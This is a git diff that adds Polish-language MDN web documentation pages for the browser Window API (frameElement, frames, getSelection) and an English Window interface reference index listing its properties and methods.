+++ b/files/pl/web/api/window/frameelement/index.html
@@ -0,0 +1,34 @@
+---
+title: window.frameElement
+slug: Web/API/Window/frameElement
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/frameElement
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca element (jak np. <code>&lt;iframe&gt;</code> lub <code>&lt;object&gt;</code>), w którym osadzone jest okno lub wartość <code>null</code>, gdy okno jest najwyższego poziomu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">var<i>frameEl</i> = window.frameElement;
+</pre>
+<ul>
+ <li><code>frameEl</code> jest elementem, w którym jest osadzone okno lub <code>null</code>, jeśli okno jest najwyższego poziomu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var frameEl = window.frameElement;
+// jeśli jesteśmy wewnątrz ramki, to zmień jej adres URL na '<span class="nowiki">http://mozilla.org/</span>'
+if (frameEl)
+ frameEl.src = '<span class="nowiki">http://mozilla.org/</span>';
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zauważ, że pomimo swojej nazwy własność działa również dla dokumentów wewnątrz <code>&lt;object&gt;</code> lub innych elementów osadzających.</p>
+<p>Zobacz także <code><a href="pl/DOM/window.parent">window.parent</a></code>, który zwraca okno-rodzica, którym jest okno zawierające <code>frameElement</code> okna-dziecka.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.frameElement", "ja": "ja/DOM/window.frameElement" } ) }}</p>
diff --git a/files/pl/web/api/window/frames/index.html b/files/pl/web/api/window/frames/index.html
new file mode 100644
index 0000000000..1e1e625ca4
--- /dev/null
+++ b/files/pl/web/api/window/frames/index.html
@@ -0,0 +1,31 @@
+---
+title: window.frames
+slug: Web/API/Window/frames
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/frames
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca obiekt tablico-podobny, zawierający listę ramek podrzędnych bieżącego okna.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>frameList</i> = window.frames;
+</pre>
+<ul>
+ <li><code>frameList</code> jest listą obiektów ramki.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var frames = window.frames; // lub // var frames = window.parent.frames;
+for (var i = 0; i &lt; frames.length; i++) {
+ // zrób coś z każdą ramką podrzędną jako frames[i]
+ frames[i].document.body.style.background = "red";
+}
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.frames", "ja": "ja/DOM/window.frames" } ) }}</p>
diff --git a/files/pl/web/api/window/getselection/index.html b/files/pl/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..c6768feb45
--- /dev/null
+++ b/files/pl/web/api/window/getselection/index.html
@@ -0,0 +1,39 @@
+---
+title: window.getSelection
+slug: Web/API/Window/getSelection
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/getSelection
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca obiekt zaznaczenia reprezentujący zakres tekstu zaznaczonego przez użytkownika. Zauważ, że nie ma to żadnego powiązania z obiektem listy selekcji DOM!</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>selection</i> =<i>window</i>.getSelection();
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>selection</code> jest obiektem <a href="pl/DOM/Selection">selekcji</a>.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">function foo() {
+ var selObj = window.getSelection();
+ alert(selObj);
+ var selRange = selObj.getRangeAt(0);
+ // teraz możemy operować na zakresie
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>W JavaScript, kiedy przesyłany jest obiekt selekcji do funkcji, zamiast jej, przesyłana jest jej reprezentacja w postaci ciągu znaków (tj. zaznaczony tekst). Może to złudnie przypominać, że obiekt selekcji wygląda jak ciąg znaków (obiekt <code>string</code>), kiedy tak naprawdę ma swoje własne właściwości i metody. Dokładniej, zwracana jest wartość wywołania metody <code><a href="pl/DOM/Selection/toString">toString()</a></code>. <span class="comment">I'm treading carefully with the word "convert" here because it could be misinterpreted as a permanent convert - Maian</span></p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM poziomu 0. Nie jest częścią specyfikacji.</p>
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3>
+<p><code><a href="pl/DOM/Selection">Selection</a>, <a href="pl/DOM/range">Range</a></code></p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.getSelection", "es": "es/DOM/window.getSelection", "fr": "fr/DOM/window.getSelection", "it": "it/DOM/window.getSelection", "ja": "ja/DOM/window.getSelection" } ) }}</p>
diff --git a/files/pl/web/api/window/index.html b/files/pl/web/api/window/index.html
new file mode 100644
index 0000000000..0c833217a3
--- /dev/null
+++ b/files/pl/web/api/window/index.html
@@ -0,0 +1,494 @@
+---
+title: window
+slug: Web/API/Window
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Window
+---
+<p>{{APIRef}}</p>
+
+<p><span class="seoSummary">The <code>window</code> object represents a window containing a DOM document; the <code>document</code> property points to the <a href="/en-US/docs/DOM/document">DOM document</a> loaded in that window.</span> A window for a given document can be obtained using the {{Domxref("document.defaultView")}} property.</p>
+
+<p>This section provides a brief reference for all of the methods, properties, and events available through the DOM <code>window</code> object. The <code>window</code> object implements the <code>Window</code> interface, which in turn inherits from the <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code> interface. Some additional global functions, namespaces, objects, interfaces, and constructors, not typically associated with the window, but available on it, are listed in the <a href="/en-US/docs/JavaScript/Reference">JavaScript Reference</a> and <a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a>.</p>
+
+<p>In a tabbed browser, such as Firefox, each tab contains its own <code>window</code> object (and if you're writing an extension, the browser window itself is a separate window too - see <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Working with windows in chrome code</a> for more information). That is, the <code>window</code> object is not shared between tabs in the same window. Some methods, namely {{Domxref("window.resizeTo")}} and {{Domxref("window.resizeBy")}} apply to the whole window and not to the specific tab the <code>window</code> object belongs to. Generally, anything that can't reasonably pertain to a tab pertains to the window instead.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from the {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p>
+
+<p>Note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below.</p>
+
+<dl>
+ <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>This property indicates whether the current window is closed or not.</dd>
+ <dt>{{domxref("Window.console")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the console object which provides access to the browser's debugging console.</dd>
+ <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the content element in the current window. Since Firefox 57 (initially Nightly-only), both versions are only available from chrome (privileged) code, and not available to the web anymore.</dd>
+ <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the XUL controller objects for the current chrome window.</dd>
+ <dt>{{domxref("Window.customElements")}}{{ReadOnlyInline}}</dt>
+ <dd>returns a reference to the {{domxref("CustomElementRegistry")}} object, which can be used to register new <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">custom elements</a> and get information about previously registered custom elements.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>Returns the browser crypto object.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt>
+ <dd>Gets/sets the status bar text for the given window.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the ratio between physical pixels and device independent pixels in the current display.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt>
+ <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt>
+ <dd>Synonym of {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the document that the window contains.</dd>
+ <dt>{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMMatrix")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd>
+ <dt>{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMMatrixReadOnly")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd>
+ <dt>{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMPoint")}} object, which represents a 2D or 3D point in a coordinate system.</dd>
+ <dt>{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMPointReadOnly")}} object, which represents a 2D or 3D point in a coordinate system.</dd>
+ <dt>{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMQuad")}} object, which provides represents a quadrilaterial object, that is one having four corners and four sides.</dd>
+ <dt>{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.</dd>
+ <dt>{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMRectReadOnly")}} object, which represents a rectangle.</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>Returns an array of the subframes in the current window.</dd>
+ <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>This property indicates whether the window is displayed in full screen or not.</dd>
+ <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt>
+ <dd>Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.<br>
+ Was: Multiple storage objects that are used for storing data across multiple pages.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the history object.</dd>
+ <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd>
+ <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd>
+ <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt>
+ <dd>Indicates whether a context is capable of using features that require secure contexts.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}}</dt>
+ <dd>Gets/sets the location, or current URL, of the window object.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the <a href="/en-US/docs/The_message_manager">message manager</a> object for this window.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}} {{Deprecated_inline}}</dt>
+ <dd>The time in milliseconds since epoch at which the current animation cycle began.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Gets/sets the name of the window.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the navigator object.</dd>
+ <dt>{{domxref("Window.NetworkInformation")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to the {{domxref("NetworkInformation")}} interface, which provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. </dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>Returns a reference to the window that opened this current window.</dd>
+ <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt>
+ <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Gets the height of the outside of the browser window.</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Gets the width of the outside of the browser window.</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref('StaticRange.StaticRange','StaticRange()')}} constructor which creates a {{domxref('StaticRange')}} object.</dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the parent of the current window or subframe.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing <a href="/en-US/docs/Navigation_timing">performance-related</a> data. See also <a href="/en-US/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing">Using Navigation Timing</a> for additional information and examples.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt>
+ <dd>Formerly provided access to install and remove PKCS11 modules.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the screen object associated with the window.</dd>
+
+ <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd>
+ <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns an object reference to the window object itself.</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt>
+ <dd>Returns a storage object for storing data within a single page session.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the window object of the sidebar.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd>
+ <dt>{{domxref("Window.visualViewport")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the current window.</dd>
+ <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt>
+ <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd>
+</dl>
+
+<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>Displays an alert dialog.</dd>
+
+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Moves back one in the window history.</dd>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Sets focus away from the window.</dd>
+ <dt>{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.</dd>
+ <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Registers the window to capture all events of the specified type.</dd>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Closes the current window.</dd>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Displays a dialog with a message that the user needs to respond to.</dd>
+ <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Used to trigger an event.</dd>
+ <dt>{{domxref("Window.dump()")}} {{Non-standard_inline}}</dt>
+ <dd>Writes a message to the console.</dd>
+ <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Searches for a given string in a window.</dd>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Sets focus on the current window.</dd>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Moves the window one document forward in the history.</dd>
+ <dt>{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Flashes the application icon.</dd>
+ <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd>
+ <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt>
+ <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Returns the selection object representing the selected item(s).</dd>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns the browser to the home page.</dd>
+ <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Minimizes the window.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Moves the current window by a specified amount.</dd>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Moves the window to the specified coordinates.</dd>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Opens a new window.</dd>
+ <dt>{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Opens a new dialog window.</dd>
+ <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd>
+ <dt>{{domxref("Window.print()")}}</dt>
+ <dd>Opens the Print Dialog to print the current document.</dd>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Returns the text entered by the user in a prompt dialog.</dd>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>Releases the window from trapping events of a specific type.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.</dd>
+ <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables the scheduling of tasks during a browser's idle periods.</dd>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Resizes the current window by a certain amount.</dd>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Dynamically resizes window.</dd>
+ <dt>{{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Scrolls the document in the window by the given amount.</dd>
+ <dt>{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the document by the given number of lines.</dd>
+ <dt>{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the current document by the specified number of pages.</dd>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates in the document.</dd>
+ <dt>{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)</dt>
+ <dd>Changes the cursor for the current window</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Executes a function after the browser has finished other heavy tasks</dd>
+ <dt>{{domxref("Window.setResizable()")}} {{Non-standard_inline}}</dt>
+ <dd>Toggles a user's ability to resize a window.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}</dt>
+ <dd>Sizes the window according to its content.</dd>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>This method stops window loading.</dd>
+ <dt>{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}</dt>
+ <dd>Updates the state of commands of the current chrome window (UI).</dd>
+</dl>
+
+<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Register an event handler to a specific event type on the window.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
+ <dd>Removes an event listener from the window.</dd>
